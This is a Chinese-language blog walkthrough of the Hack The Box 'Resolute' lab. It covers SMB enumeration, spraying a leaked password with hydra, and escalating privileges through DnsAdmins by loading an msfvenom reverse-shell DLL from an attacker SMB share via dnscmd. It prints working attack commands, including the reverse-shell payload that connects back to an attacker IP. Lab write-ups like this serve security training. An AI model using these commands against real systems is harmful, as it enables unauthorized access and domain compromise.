avatar

hackthebox Resolute

信息收集

先用 nmap 扫描一下端口,看看开的端口。发现是 windows 机器,有域和 smb 服务。有 445 看了一下是 Windows Server 2016 Standard 14393, eternalblue 没有对应的 exp,3389 没开,blue keep 也用不了。

1
nmap -A  10.10.10.169

image-20200421193544316

既然有 smb 服务,nmap 扫描结果来看貌似是可以搞的,再次用 enum4linux 来收集一波信息。

1
carlstar@kali:~/Desktop$ enum4linux -a 10.10.10.169

image-20200421195103251

image-20200421195147708

拿到了 smb 的账号,marko 的密码是 Welcome123! 但是尝试拿 rpclient 和 smbclient 访问共享目录都不太行,提示密码错误。但是我们有 smb 的用户名,可以做成一个字典来批量尝试一下,毕竟我们都有一个密码了,大概率可行。还有一个小技巧是在我们处理不规则文本的时候可以用 sublime 自带的正则来拿到我们想要的文本,非常快,省得写脚本了。

user.txt

1
hydra -L user.txt -p Welcome123! 10.10.10.169 smb

拿九头蛇爆破一下,就发现可以拿 melanie 这个账号登录到 smb,一番查找后在 桌面发现了 user.txt。

1
evil-winrm -u melanie -p Welcome123! -i 10.10.10.169

image-20200421212152220

root.txt

image-20200421213139577

查看系统的隐藏文件时发现有一个目录不是系统的默认目录,在 log 文件里发现了 ryan 用户的密码。

image-20200421213510297

可以使用 sexed_psh,因为这个账号权比之前那个高,所以直接一梭子下去就是 system。

image-20200421223603692

dnsadmin

可以看到 ryan 这个用户还是 dnsadmin 组下的,这样的话可以利用 dns 在使用时可以加载 dll 文件来搞事情。

image-20200422003957552

先在 kali 生成一个 dll

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=9999 -f dll > a.dll

image-20200421234937943

在开启smb 共享文件。

1
python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support abc /home/carlstar/Desktop/workspace/htb/Resolute

image-20200422003907877

在 evil-winrm 中配置启动时加载的 dll 文件

1
dnscmd.exe 10.10.10.169 /config /serverlevelplugindll \\10.10.14.2\share\a.dll

image-20200421235614255

成功后在手动启动、关闭 dns

1
2
3
sc.exe \\10.10.10.169 stop dns

sc.exe \\10.10.10.169 start dns
1
nc -vv -l -p 9999

image-20200422003717684

Author: CarlStar
Link: http://yoursite.com/2020/04/21/Resolute/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment